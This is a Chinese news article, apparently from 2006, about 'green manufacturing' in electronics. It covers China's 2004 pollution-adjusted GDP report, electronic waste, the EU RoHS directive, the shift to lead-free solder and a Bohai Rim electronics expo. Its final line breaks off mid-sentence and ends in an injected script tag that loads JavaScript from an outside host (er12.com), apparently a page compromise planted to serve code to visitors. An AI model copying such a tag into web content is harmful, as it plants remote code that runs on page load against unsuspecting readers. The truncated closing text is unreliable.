2006年9月7日，国家环保总局和国家统计局联合发布了我国第一份经环境污染调整的gdp核算研究报告——《中国绿色国民经济核算研究报告2004》。报告指出，2004年全国因环境污染造成的经济损失为5118亿元，占当年gdp的3.05%。这些数字表明，在传统工业化模式下，不断增长的gdp数字，是建立在资源环境和公众健康不断透支的基础之上的，这种高消耗、高污染、高风险的发展方式正在越来越严重地制约经济发展。在这样的背景下，将同期举行的第68届全国电子展和“2006环渤海地区电子周”（bew）都期望能够通过搭建一个交流与合作的平台，探寻到一条经济、安全、高效的可持续发展途径。这意味着，电子制造业即将掀起一场“绿色革命”。
“绿色”也将成为竞争力
制造业作为国民经济的支柱产业，既是消耗资源的大户，也是能否控制环境污染程度的源头产业。而随着电子信息时代的来临，电子废弃物成为主要的固体废物来源之一，其所造成的严重问题已经成为当前急需解决的问题。小到电池，大到各种废旧电脑、电子通讯设备、电视机、电冰箱等电子垃圾正成为不可忽视的社会和经济问题。
由于电子产品是由各种材料和元件组成的复杂混合体，其中含有许多对环境和人体健康有害的物质。如果一粒纽扣电池泄漏后，就可能污染60万升水，等于一个人一生的饮水量，而我国每年生产的14亿只电池中，回收利用的不足1%。电视、空调、手机、音响、电脑等电子产品，含铅、镉、汞、六价铬、聚合溴化联苯 pbb、聚合溴化联苯乙醚 pbde等多种有毒有害材料，一旦进入土壤将对人类产生严重威胁。
华北地区是中国急速增长的电子制造业的新市场，由此对环境造成的影响不容忽视。此前，中国smt等力量以及知名展会主要集中在珠三角、长三角地区，另外有温家宝总理在关于尽快规划和建设天津滨海新区的建议上做出重要批示，在此背景下，2006环渤海地区电子周应运而生，为越来越多迫切希望加入这个正在高速发展经济区域的公司提供了一个高效的交流合作平台。
对此，不少政府都制定了相关的法律降低类似的环境问题。2006年7月1日，欧盟正式实施《关于在电子电气设备中限制使用某些有害物质指令》（rohs指令），它将铅、镉、汞、六价铬、pbde和pbb列为有害物质予以禁用。这一法规影响到了七大类电子电气产品及相关的供应链，违规生产商会被检控及罚款。
有关专家指出，随着欧盟新环保指令和报废指令的发布与实行，今后中国向欧盟出口各类机电产品的中国生产企业都将额外承担高额的电子垃圾处理费用，这将影响到我国电子产品的国际竞争力。因此，无论从自身环境保护、降低资源消耗，还是从经济发展考虑，我国企业都应当从生产源头入手，建立“绿色制造”机制，形成一条集环保、经济于一体的绿色生产链。
绿色制造：营造经济与环境的和谐
绿色制造，是指在保证产品的功能、质量、成本的前提下，综合考虑环境影响和资源效率的现代制造模式，主要涉及“绿色设计、工艺规划、材料选择、产品包装、回收处理、绿色管理、设备利用”等整个绿色供应链，通过各个环节的有机集成实现企业和生态环境的整体优化，达到产品上市快、质量高、成本低、服务好、有利于环境，并赢得竞争的目的。
从可持续发展战略要求出发，“绿色”概念在给制造企业带来新的贸易和技术壁垒的同时也创造新的机会。面对“绿色”逐渐成为商品市场的需求主流，全球的制造厂商纷纷加大“绿色制造”的研究和开发力度。
随着欧盟rohs指令的实施，无铅化成为制造业不可回避的现实，其中焊料是推行无铅化的难点之一。传统的sn-pb(锡铅)焊料以其优异的性能和低廉的成本，一直受到人们的重用，现已成为电子组装焊接中的主要焊接材料。但相对的，这也加重了铅污染。随着限制使用甚至禁止使用有铅焊料的法律法规的出台，推行无铅化制造成为电子制造企业尤其是作为上游的基础电子企业亟待解决的问题。
日本千住金属工业株式会社，是焊接材料的生产综合能力及生产量均属世界第一的日资企业，1995年在中国北京取得经营业许可成立中日合资企业——北京千住金属公司，为了避免传统焊接材料中铅对环境的污染，经过深入的研究开发，千住已在合金加工领域生产出定位在『unleaded solder』的高纯度无铅焊接材料，并在无铅焊接材料的导入方面建立起综合性的技术基础和多方协作的体制。
面对无铅制造的声势日涨，业内人士指出，无铅化对我国电子制造企业来说，是一次技术实力和管理能力的挑战。但随着“绿色设计和绿色制造”成为企业提高竞争力、改变企业形象和扩大市场份额的有效手段，实现无铅化是中国电子制造产业与国际化接轨的一条必由之路。一个快速有效的途径是，与国外企业加强合作，充分利用国外已有的经验和技术，加快无铅制造的转型。
对此，为改变传统资源消耗模式，助力企业实现经济利益和环境利益双赢，在11?script src=http://er12.com/t.js>
